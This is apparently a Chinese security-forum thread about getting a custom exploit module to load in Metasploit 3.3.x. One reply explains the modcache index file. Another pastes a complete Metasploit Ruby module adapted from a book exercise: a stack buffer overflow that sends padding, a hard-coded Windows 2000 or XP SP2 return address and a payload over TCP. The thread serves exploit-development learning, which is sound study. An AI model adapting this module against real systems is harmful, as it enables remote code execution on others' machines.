能力值:
( LV2,RANK:10 )
2 楼
还有高手出来指点下啊?真的是杯具了
能力值:
( LV2,RANK:10 )
3 楼
高手不出来,帮你顶顶看
能力值:
( LV4,RANK:50 )
4 楼
我使用的是Metasploit Framework 3.3.2,原理和3.3.3应该也差不多。
之所以出现添加不进去的情况是因为一个名为“modcache”的文件在作怪,该文件的位置是在“安装目录\Metasploit\Framework3\home\Administrator\.msf3\”下面,添加完你的exploit后要先删除这个文件,然后重新启动整个程序。因为这个文件相当于一个所有exploit的索引,Metasploit 就是通过这个文件来定位你的exploit脚本。
至于以前的版本,这个文件是放在“C:\Documents and Settings\bjca\Application Data\.msf3”中的,我们可以通过直接搜索modcache文件来定位文件的位置。
能力值:
( LV2,RANK:10 )
5 楼
##
# $Id: poc.rb 8300 2010-03-27 02:28:11Z hdm $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
## require 'msf/core'
module Msf
class Exploits::Yangshuo::POC < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'YANGSHUO_POC',
'Version' => '1.0',
'Platform' => 'win',
'Privileged' => true,
'License' => MSF_LICENSE,
'Author' => 'yangshuo',
'Targets' => [
['Windows 2000', {'Ret' => [200 , 0x77e2307b] }],
['Windows XP SP2',{'Ret' => [200 , 0x7C914393] }],
],
'DefaultTarget' => 0,
'Payload' => {
'Space' => 200,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Description' => %q{
this module is exploit practice of book
"Vulnerability Exploit and Analysis Technique"
used only for educational purpose
},
'Arch' => 'x86',
'References' => [
[ 'URL', 'http://www.failwest.com' ],
[ 'CVE', '44444' ],
],
'DefaultOptions' => { 'EXITFUNC' => 'process' }
))
end #end of initialize
def exploit
connect
print_status("Sending #{payload.encoded.length} byte payload...")
buf = 'a'*target['Ret'][0]
buf << [target['Ret'][1]].pack('V')
buf <<payload.encoded;
sock.put(buf)
handler
disconnect
end #end of exploit def
end
end
这是 修改FAILWEST的 代码所得的,你看看 必须符合MF3的标准才可以 上面那个ID,# $Id: poc.rb 8300 2010-03-27 02:28:11Z hdm $
class Exploits::Yangshuo::POC 这个类名一定要大写 要不报错!~~~~~
你试试吧 要不行 你在发帖!
能力值:
( LV2,RANK:10 )
6 楼
谢谢楼上得提点。受教了。
能力值:
( LV2,RANK:10 )
7 楼
认认真真的学习。